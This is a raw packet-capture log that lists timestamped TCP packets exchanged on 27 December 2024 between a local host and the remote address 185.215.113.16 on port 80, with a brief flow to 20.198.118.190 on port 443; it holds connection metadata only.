Dec 27, 2024 15:05:49.810647964 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.811307907 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.811438084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.811676025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.812136889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.812258959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.812592030 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.813086033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.813241005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.813447952 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.868140936 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.988066912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.988106012 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.988158941 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.988360882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.988527060 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.988661051 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.989317894 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.989401102 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.989579916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.990271091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.990390062 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.991234064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.991261959 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.991360903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.991549969 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.992244005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.992414951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.992472887 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.993232012 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.993330956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.993421078 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.994301081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.994395971 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.995155096 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.995340109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.995373964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.995470047 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.995959044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.996042013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.996136904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.996870041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.996889114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.996999979 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.997695923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.997826099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.997932911 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.998646975 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.998783112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.999034882 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:49.999569893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.999690056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:49.999737024 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.000574112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.000617981 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.000677109 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.001477003 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.001601934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.001692057 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.002403021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.002500057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.002629042 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.003310919 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.003504038 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.003575087 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.004273891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.004374027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.004447937 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.101191998 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.220979929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.220999956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.221060038 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.221343040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.221450090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.221993923 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.222245932 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.222404003 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.222461939 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.223210096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.223397970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.224095106 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.224261045 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.224370956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.224519014 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.225080967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.225146055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.225198030 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.225954056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.226068020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.226891041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.226950884 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.227076054 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.227129936 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.227848053 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.227987051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.228137016 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.228754997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.228842974 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.228940964 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.229763031 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.229846954 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.229935884 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.230621099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.230735064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.230848074 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.231554031 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.231631994 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.231688023 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.232496023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.232631922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.232677937 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.233417034 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.233534098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.233628035 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.234410048 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.234539032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.234584093 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.235297918 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.235416889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.235464096 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.236227989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.236341953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.236447096 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.237287045 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.237380028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.237924099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.238094091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.238212109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.238255978 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.239125013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.239202976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.239305019 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.240016937 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.240094900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.240374088 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.240917921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.241051912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.241122007 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.241911888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.242019892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.242062092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.242827892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.242904902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.243025064 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.243753910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.243850946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.244000912 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.244698048 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.244828939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.244895935 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.245635986 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.245754004 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.246021032 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.246661901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.246774912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.246907949 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.247483969 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.247596025 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.247659922 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.248409033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.248519897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.248562098 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.249367952 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.249454021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.249608040 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.250268936 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.250380993 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.250422955 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.251233101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.251358986 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.252154112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.252160072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.252254009 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.252300978 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.253093958 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.253256083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.253957987 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.254054070 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.254136086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.254180908 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.254949093 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.255058050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.255131960 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.255918980 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.256001949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.256052017 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.256939888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.257014036 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.257188082 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.257766008 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.257895947 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.257953882 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.258732080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.258838892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.258945942 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.259681940 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.259780884 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.259938002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.260581970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.260691881 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.260885000 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.261518955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.261666059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.261859894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.262465000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.262568951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.262845993 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.263416052 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.263503075 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.263844013 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.264350891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.264529943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.264627934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.265290022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.265393019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.265475035 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.266232967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.266321898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.266586065 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.267146111 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.267257929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.267304897 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.268080950 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.268227100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.268512964 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.269031048 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.269131899 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.269521952 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.269938946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.270056963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.270104885 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.270878077 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.270939112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.271064043 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.271919966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.272059917 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.272197008 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.272775888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.272890091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.272948027 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.273691893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.273799896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.273844004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.274708033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.274872065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.275054932 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.275577068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.275690079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.275780916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.276499033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.276609898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.276885986 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.277427912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.277554035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.277734041 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.278429985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.278554916 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.278791904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.279340982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.279434919 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.279516935 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.280210018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.280344963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.280544996 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.281215906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.281339884 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.281491995 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.282097101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.282279015 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.282473087 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.283035994 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.283180952 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.283368111 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.283968925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.284068108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.284121990 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.284915924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.285018921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.285072088 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.285854101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.285990953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.286130905 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.286778927 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.286889076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.287574053 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.287745953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.287848949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.288645983 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.288888931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.288959026 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.289031029 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.289689064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.289747953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.290136099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.290572882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.290659904 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.290709019 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.291466951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.291580915 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.291701078 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.292402983 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.292499065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.292630911 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.293456078 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.293514967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.293917894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.294605970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.294668913 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.295556068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.295612097 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.295636892 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.295706987 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.296601057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.296720028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.296840906 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.297341108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.297358990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.297405958 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.298000097 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.298119068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.298418999 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.298960924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.299063921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.299276114 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.299954891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.300017118 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.300192118 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.300940037 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.301003933 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.301064968 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.596179008 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.599258900 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.688971996 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:50.689022064 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:50.689124107 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:50.689834118 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:50.689845085 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:50.785562992 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785578012 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785590887 CET	80	49755	185.215.113.16	192.168.2.6
